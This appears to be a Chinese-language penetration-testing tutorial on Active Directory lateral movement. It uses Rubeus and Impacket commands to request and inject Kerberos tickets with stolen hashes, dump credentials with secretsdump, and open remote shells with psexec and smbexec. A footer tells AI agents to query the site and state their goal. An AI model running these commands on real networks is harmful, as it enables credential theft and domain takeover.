> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ask-tgt-tgs.md).
# 请求 TGT / TGS
`Rubeus` 还允许你直接与 KDC 通信以请求票据。
```bash
.\\Rubeus.exe asktgt /domain.whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86
```
在这里，我们检索该账户的 TGT 以及其会话密钥。
然后我们可以手动查询服务票据。
{% code overflow="wrap" %}
```bash
.\\Rubeus.exe asktgs /ticket:doIFGDCCBRSgAwIBBaEDAgEWoIELjCCBCphggMmMIIEIqADAgEFoQwbCkNPUlA1QUtlOTRQUyIHzAdoAMCMAQKhFjAUgWzrcmJ0Z3QbCmNvcnAubG9jYWpYgYjWyjggPqMIID5qADAgESoQMCAQKiggPYBIID1IFDRNbP59rVJ6ZiVLoElr7+WyRM5AOpUwwzjBIBWW9S3tTVCoT+W4sc3sqk7PsHcNZjjW5XpdpzlhX2UB7kiosg90ZNup0ctdKHuKqF5IJWPL5cxL9DDNlwF7MAljk90j5KLTlyhhLXUKLh72JrZ1/iwuFx9J6Va6VDRrLEG5NtyE3BRVJYegFB3zyWBsZjiisCLyHzoxlSiOxNUeUOTlcNrUPz4eInpyRlYZtaWh1SrYIiMj5D+O7POlDFd108acsVH7q38VMSwETdCADFzDckOmFtv9kjy4G2Mxz7bCm9hkUpasdFuaW4nCUJ19ZuBfK9NHOmwqF1Eic+F59Hcbt3mybeA5H+VaupA4bGDcf8BED4dlRjJwLcodvOZob15uJUSZoYohTgcTzlm6fmnJX9JU6YFiLdDm719YBlpOQCvFsSewZfDFErss1jg84nYxzl4X3MwOcLU3KPU47ydfXc7MssfRM7DVIuCrK2q3wJP66UYbo7KF7bkTkDe7pdr0m2l3cR8Egw1ooKb5xRDGik66YRb437AnRzNX+XkbDs6j1eA0dggQ1CD+1YX8sQjbRVnqOx1FkhaS4yWWieyAnVH7yZ1+nTYK0F7s2xhY51aVnPqcutuINHNwgoyVbla+wSNtaJndnYHu5/FiUSEgkUmZpdOHT4EoiqThSd3xLuLKyZUjjtUKRHHA8a976igZ67zaH4Co1A84IEKXLIMZWhlqohO3URscaZ4EKmCjhXT51FKyUOBRH8gsRSphMpjNZifNMsNnMIEAgwZ+Mu16R10g1LAjymVpUI9Imvo2cfQPSmvwMNcSrma90c5v4FPZbsYpL+MWGNAV009ezi3Lquh795VC1sZ5XDx4opwgJITuNl1Xcj9ch1E5kLmt1BvwfGDjw5k9YvYBFf5eg70D3f/GIHFd01k684IO7L4oqBZFwoj/2/Zd1QqWhTfYmnRbAb4ZMeKwmIra++qGLwPyHs00EEzRwHlRQPB+krOpB0AdPiaDjaxSu9glfXNr8sN0umTlwDKsiKhXFL4E2LLNDA1NQd4cuIrjcapylCgXG4oYnmcId/AfXAgmuo6CiTCdzBSzSiiXdwqBfRUZYTWR3VXy8Z/Q4Bw0VkJhjeircW073XP8d25ZwSnzac3V8Xem7GXomt3MKG+UHgyLDDpCOKhTsu7DGAIIZH0QqBgNSrGpYEJj+aAuzz1GoDSL117B7dpQ0lFiV/Tluh3QjtKVj61NXxjQTLAFOO/fdcjAii41J5bUskvyAuRLdm/VXyQktus+/QII942DhLF5Ilk3imo4HVMIHSoAMCAQCigcoEgcd9gcQgWggcgggb4wgbsgwgbgGgGzAMCAREhegQQ7VvpB0YoaOJamaDJtNG11rKEMGwpDT1JQfM0MohowGKADAgEBoREwDxsNYWRtaW5w3C3RyYWRWvcqMHAwUAQOEAAlKURGA8yMDIyMDIwMjE4MjEwOFqERgPMjAyMjAyMJMDMwNDIxMDhapxEYDzI0MTg0MTg0WqgMGWpDT1JQf1JQlkxPaERYADAgECoRYwFBsGa3JidGdtGwpGwpjbWlXmY2FzY3JyYWVmcG3b3JwLmxdKkxPxQPQMrYWbFBsGa3JidGdtGwpbYjJidGd0GwpJMlxvy2Fs /service:cifs/DC01.whoami.local
```
{% endcode %}
此命令发送 TGS 查询，以获取可用于目标服务的票据。
然后可以在本地注入该票据。
{% code overflow="wrap" %}
```bash
.\\Rubeus.exe ptt /ticket:doIFhjCCBYKgAwIBBaEDAgEWoIEiTCCBIVhggSBMIIEFaADAgEFoQwbCkNPUlA1QUtlOTRQUyIjAgoAMCMAQKhGTAXGwRjaWZZZGw9EQzAxLmN2cnAubG9jYWpYgYjWyjggRCMIIEPqADAgESoQMCAQIoggQwBIIELBmqRx9jVBmFFZLOZxHRHbBZL0Ufi7A7umi1p6ysfyJ9N488WRTyPdDTWnanQcZGHiDcUEQ264h1EieDg7qnqBq0OhJMkqvwurYKuAK8KdQaIcmBzlnsqHc5gb8ixD57TLfowPMmha+1IrtoI+vlxayPzNBKIYOIWqoOoMZJmpyHoPvE+DAMdaZnXER61407pg8YWt1jg0Xhlbz6V9i6WMfbKX7aaZsIjvZF9H/zbTXxXTbmuMyGuh11j3efcgqEAh06AAu97JPHa05INjjjlwVYN65+1GthgaMLrIjtyNHpZVxxWkcoesd4aXaKoYuJSfnY/5K+1LTqCXNVQVx4+cvQ/atZ7V/+xnr1PjFQTgPmJrnwGsb5cVNY2h8s50MjjPUIBqvWTAGOgVV5TNi6Mn0gwUNFf+h7k/8aiBwIzEKVWjNLpQwTB1IsUHOKTVfshwfNVZZQz8MBVkplnIROo5HbL/AJ20j5xMZ7Ve2VCsz8PVYlFrVyzFujdwC12YEamIg/0YrtA3rlfkDvgRK8fJMuEgm3Dtav6Swq7FvMpmu9G9G9POcx8efgpPYy2wsFh5/duHydnPLHI1It1OvxSOFOFRRNTSe9qRndWCtF+4U7ECA0/TM1fB7xPx1mjmveb/J4XEdLNdRKxRKNamfbfDY55b55qpgJLP5IzbhjOiK+qXvBVzpeUMo3ygpJT77jSfbYAsyWowTWwLtmMbKHTITsk1/HZPqKOGmd5c8BWuuHEiACOViN904B9/LfMz5IuuzRPiFpu3tTSV8UutPhTE/1pVH4otbuywPZNhai9Ili1XESfVxaQ3BaJU9rfrGD0TCMs3UJvBZZk2qTDjc+Uu9m3cJOSLIXqT+62VQudSNg/xX9JUXD118VZwznEU1w2+kCM+W/SDhrrKC6Bad+Zh3EtrW6YdlDB2bGVLVyfyMZMIAEWSNshta1UTtKgegeGPpjP8zWqKB+EfTE+N1f/rSC/bfA+h7XJ1CplfcdELFncBaCTAHtQrUyhyeuJsR1YxoGX/e3mXktmcijIdwyd31PNKxZUTHiVcGgvedhEjEnz+yLmC96gzAPqFUYDTVqL2mmCj90tGW2bLIYZZ9L1TZWTu95S65nTgzFQI3Zg8ghHKiVAVI1mLnMySdAdUoPV7iRNb2Mep18i59o3/EVIM6uagCdLFYI7ilox0a2R2f9t+Uyb43bLSM4FKt69r02TmkTuU3iGd7aQtE9fNlZG71Uvju4FPGnzN7IsvVT3EZETOwCB/svnQi0fXg8c7AjlpxeKd7Eyo5s8C4J/Cwq609ov+AF16UI1M8r9704eER4H8iLAxDfcFgTb/2fm+vVDRm+QS0c4I1auh3GDVUv3CeCMBSzD+TPQ/xDEO6/j/Wgbv/9s0BmkUgVmVdX1FZs6LyutUjKY3PzI60B6DCB5aADAgEAooHdBIHAfYHXMIHToAMCAQCiggEESIOBIEILDKun77SnzmahfQPYTZRNSA7cIgM7zJuUI/x6f/VI74oQwbCkNPUlA1QUle9DQUyiGjAYoAMCAQGgETAPGwhhZG1pbiwG1hZG1hZG1_pbm1zdHJhZGYwBwQBApREGAEyMDIyMDIwMjEwMzMzOFqERgEyMDIyMDIwMzA0MjEwOFapERgPMjQxODQxODRaqgwZYkNPUlBfUkxLTWPaERYADAgECoRYwFBsGa3JidGdttGwpGwpjbWlnYw==
```
{% endcode %}
我们现在已经有了一个适用于 `cifs` 服务。
{% code overflow="wrap" %}
```
klist
```
{% endcode %}
在 Linux 上，我们可以使用 Impacket 的 Kerberos 工具做同样的事情。
{% code overflow="wrap" %}
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
{% endcode %}
然后将 Kerberos 缓存加载到 `KRB5CCNAME` 环境变量中。
{% code overflow="wrap" %}
```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```
{% endcode %}
然后我们可以通过以下方式重用此票据： `secretsdump.py`.
{% code overflow="wrap" %}
```bash
secretsdump.py whoami.local/administrador@ws01.whoami.local -k -no-pass
```
{% endcode %}
在这里，机器的凭据已被成功导出。
我们还可以使用以下方式登录： `psexec.py`.
{% code overflow="wrap" %}
```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```
{% endcode %}
此命令为我们提供一个远程 shell。
另一种可能的变体： `smbexec.py`.
{% code overflow="wrap" %}
```bash
smbexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```
{% endcode %}
要直接查询服务票据，我们还可以使用 `getST.py`.
{% code overflow="wrap" %}
```bash
getST.py -spn cifs/DC01.whoami.local -no-pass -k whoami.local/administrador
```
{% endcode %}
然后我们获得一个可重复使用的服务票据。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/ask-tgt-tgs.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.